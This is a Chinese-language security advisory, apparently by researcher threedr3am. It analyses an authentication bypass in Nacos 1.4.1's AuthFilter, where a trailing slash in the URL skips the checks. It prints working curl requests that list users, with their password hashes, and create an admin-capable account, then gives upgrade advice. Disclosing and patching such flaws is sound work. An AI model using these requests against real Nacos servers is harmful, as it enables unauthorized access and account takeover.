阿里 Nacos 驚爆,安全漏洞以繞過身份驗證(附修復建議)
好,我是threedr3am,我發(fā)現(xiàn)nacos最新版本1.4.1對于User-Agent繞過安全漏洞的serverIdentity key-value修復機制,依然存在繞過問題,在nacos開啟了serverIdentity的自定義key-value鑒權(quán)后,通過特殊的url構(gòu)造,依然能繞過限制訪問任何http接口。
通過查看該功能,需要在application.properties添加配置nacos.core.auth.enable.userAgentAuthWhite:false,才能避免User-Agent: Nacos-Server繞過鑒權(quán)的安全問題。
但在開啟該機制后,我從代碼中發(fā)現(xiàn),任然可以在某種情況下繞過,使之失效,調(diào)用任何接口,通過該漏洞,我可以繞過鑒權(quán),做到:
調(diào)用添加用戶接口,添加新用戶(POST https://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test),然后使用新添加的用戶登錄console,訪問、修改、添加數(shù)據(jù)。
一、漏洞詳情
問題主要出現(xiàn)在com.alibaba.nacos.core.auth.AuthFilter#doFilter:
public?class?AuthFilter?implements?Filter?{
????@Autowired
????private?AuthConfigs?authConfigs;
????@Autowired
????private?AuthManager?authManager;
????@Autowired
????private?ControllerMethodsCache?methodsCache;
????private?Map?parserInstance?=?new?ConcurrentHashMap<>();
????@Override
????public?void?doFilter(ServletRequest?request,?ServletResponse?response,?FilterChain?chain)
????????????throws?IOException,?ServletException?{
????????if?(!authConfigs.isAuthEnabled())?{
????????????chain.doFilter(request,?response);
????????????return;
????????}
????????HttpServletRequest?req?=?(HttpServletRequest)?request;
????????HttpServletResponse?resp?=?(HttpServletResponse)?response;
????????if?(authConfigs.isEnableUserAgentAuthWhite())?{
????????????String?userAgent?=?WebUtils.getUserAgent(req);
????????????if?(StringUtils.startsWith(userAgent,?Constants.NACOS_SERVER_HEADER))?{
????????????????chain.doFilter(request,?response);
????????????????return;
????????????}
????????}?else?if?(StringUtils.isNotBlank(authConfigs.getServerIdentityKey())?&&?StringUtils
????????????????.isNotBlank(authConfigs.getServerIdentityValue()))?{
????????????String?serverIdentity?=?req.getHeader(authConfigs.getServerIdentityKey());
????????????if?(authConfigs.getServerIdentityValue().equals(serverIdentity))?{
????????????????chain.doFilter(request,?response);
????????????????return;
????????????}
????????????Loggers.AUTH.warn("Invalid?server?identity?value?for?{}?from?{}",?authConfigs.getServerIdentityKey(),
????????????????????req.getRemoteHost());
????????}?else?{
????????????resp.sendError(HttpServletResponse.SC_FORBIDDEN,
????????????????????"Invalid?server?identity?key?or?value,?Please?make?sure?set?`nacos.core.auth.server.identity.key`"
????????????????????????????+?"?and?`nacos.core.auth.server.identity.value`,?or?open?`nacos.core.auth.enable.userAgentAuthWhite`");
????????????return;
????????}
????????try?{
????????????Method?method?=?methodsCache.getMethod(req);
????????????if?(method?==?null)?{
????????????????chain.doFilter(request,?response);
????????????????return;
????????????}
????????????...鑒權(quán)代碼
????????}
????????...
????}
????...
}
可以看到,上面三個if else分支:
第一個是authConfigs.isEnableUserAgentAuthWhite(),它默認值為true,當值為true時,會判斷請求頭User-Agent是否匹配User-Agent: Nacos-Server,若匹配,則跳過后續(xù)所有邏輯,執(zhí)行chain.doFilter(request, response);
第二個是StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils.isNotBlank(authConfigs.getServerIdentityValue()),也就是nacos 1.4.1版本對于User-Agent: Nacos-Server安全問題的簡單修復
第三個是,當前面兩個條件都不符合時,對請求直接作出拒絕訪問的響應
問題出現(xiàn)在第二個分支,可以看到,當nacos的開發(fā)者在application.properties添加配置nacos.core.auth.enable.userAgentAuthWhite:false,開啟該key-value簡單鑒權(quán)機制后,會根據(jù)開發(fā)者配置的nacos.core.auth.server.identity.key去http header中獲取一個value,去跟開發(fā)者配置的nacos.core.auth.server.identity.value進行匹配,若不匹配,則不進入分支執(zhí)行:
if?(authConfigs.getServerIdentityValue().equals(serverIdentity))?{
????chain.doFilter(request,?response);
????return;
}
但問題恰恰就出在這里,這里的邏輯理應是在不匹配時,直接返回拒絕訪問,而實際上并沒有這樣做,這就讓我們后續(xù)去繞過提供了條件。
再往下看,代碼來到:
Method?method?=?methodsCache.getMethod(req);
if?(method?==?null)?{
????chain.doFilter(request,?response);
????return;
}
...鑒權(quán)代碼
可以看到,這里有一個判斷method == null,只要滿足這個條件,就不會走到后續(xù)的鑒權(quán)代碼。
通過查看methodsCache.getMethod(req)代碼實現(xiàn),我發(fā)現(xiàn)了一個方法,可以使之返回的method為null
com.alibaba.nacos.core.code.ControllerMethodsCache#getMethod
public?Method?getMethod(HttpServletRequest?request)?{
????String?path?=?getPath(request);
????if?(path?==?null)?{
????????return?null;
????}
????String?httpMethod?=?request.getMethod();
????String?urlKey?=?httpMethod?+?REQUEST_PATH_SEPARATOR?+?path.replaceFirst(EnvUtil.getContextPath(),?"");
????List?requestMappingInfos?=?urlLookup.get(urlKey);
????if?(CollectionUtils.isEmpty(requestMappingInfos))?{
????????return?null;
????}
????List?matchedInfo?=?findMatchedInfo(requestMappingInfos,?request);
????if?(CollectionUtils.isEmpty(matchedInfo))?{
????????return?null;
????}
????RequestMappingInfo?bestMatch?=?matchedInfo.get(0);
????if?(matchedInfo.size()?>?1)?{
????????RequestMappingInfoComparator?comparator?=?new?RequestMappingInfoComparator();
????????matchedInfo.sort(comparator);
????????bestMatch?=?matchedInfo.get(0);
????????RequestMappingInfo?secondBestMatch?=?matchedInfo.get(1);
????????if?(comparator.compare(bestMatch,?secondBestMatch)?==?0)?{
????????????throw?new?IllegalStateException(
????????????????????"Ambiguous?methods?mapped?for?'"?+?request.getRequestURI()?+?"':?{"?+?bestMatch?+?",?"
????????????????????????????+?secondBestMatch?+?"}");
????????}
????}
????return?methods.get(bestMatch);
}
private?String?getPath(HttpServletRequest?request)?{
????String?path?=?null;
????try?{
????????path?=?new?URI(request.getRequestURI()).getPath();
????}?catch?(URISyntaxException?e)?{
????????LOGGER.error("parse?request?to?path?error",?e);
????}
????return?path;
}
這個代碼里面,可以很明確的看到,method值的返回,取決于
String?urlKey?=?httpMethod?+?REQUEST_PATH_SEPARATOR?+?path.replaceFirst(EnvUtil.getContextPath(),?"");
List?requestMappingInfos?=?urlLookup.get(urlKey);
urlKey這個key,是否能從urlLookup這個ConcurrentHashMap中獲取到映射值
而urlKey的組成中,存在著path這一部分,而這一部分的生成,恰恰存在著問題,它是通過如下方式獲得的:
new?URI(request.getRequestURI()).getPath()
一個正常的訪問,比如curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test',得到的path將會是/nacos/v1/auth/users,而通過特殊構(gòu)造的url,比如curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users/?username=test&password=test' --path-as-is,得到的path將會是/nacos/v1/auth/users/
通過該方式,將能控制該path多一個末尾的斜桿'/',導致從urlLookup這個ConcurrentHashMap中獲取不到method,為什么呢,因為nacos基本全部的RequestMapping都沒有以斜桿'/'結(jié)尾,只有非斜桿'/'結(jié)尾的RequestMapping存在并存入了urlLookup這個ConcurrentHashMap,那么,最外層的method == null條件將能滿足,從而,繞過該鑒權(quán)機制。
二、漏洞影響范圍
影響范圍:1.4.1
三、漏洞復現(xiàn)
訪問用戶列表接口
curl?XGET?'http://127.0.0.1:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9'
可以看到,繞過了鑒權(quán),返回了用戶列表數(shù)據(jù)
{
????"totalCount":?1,
????"pageNumber":?1,
????"pagesAvailable":?1,
????"pageItems":?[
????????{
????????????"username":?"nacos",
????????????"password":?"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
????????}
????]
}
添加新用戶
curl?-XPOST?'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test'
可以看到,繞過了鑒權(quán),添加了新用戶
{
????"code":200,
????"message":"create?user?ok!",
????"data":null
}
再次查看用戶列表
curl?XGET?'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9'
可以看到,返回的用戶列表數(shù)據(jù)中,多了一個我們通過繞過鑒權(quán)創(chuàng)建的新用戶
{
????"totalCount":?2,
????"pageNumber":?1,
????"pagesAvailable":?1,
????"pageItems":?[
????????{
????????????"username":?"nacos",
????????????"password":?"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
????????},
????????{
????????????"username":?"test",
????????????"password":?"$2a$10$5Z1Kbm99AbBFN7y8Dd3.V.UGmeJX8nWKG47aPXXMuupC7kLe8lKIu"
????????}
????]
}
訪問首頁http://127.0.0.1:8848/nacos/,登錄新賬號,可以做任何事情
regards, threedr3am
三、 修復建議
2021年1月14日 Nacos 1.4.1剛發(fā)布,會直接在1.4.1進行hotfix。
請用戶直接下載最新的1.4.1版本進行部署升級。
https://github.com/alibaba/nacos/releases/tag/1.4.1
BugFix
-[#4701] Fix bypass authentication(identity) problem.
https://github.com/alibaba/nacos/issues/4701
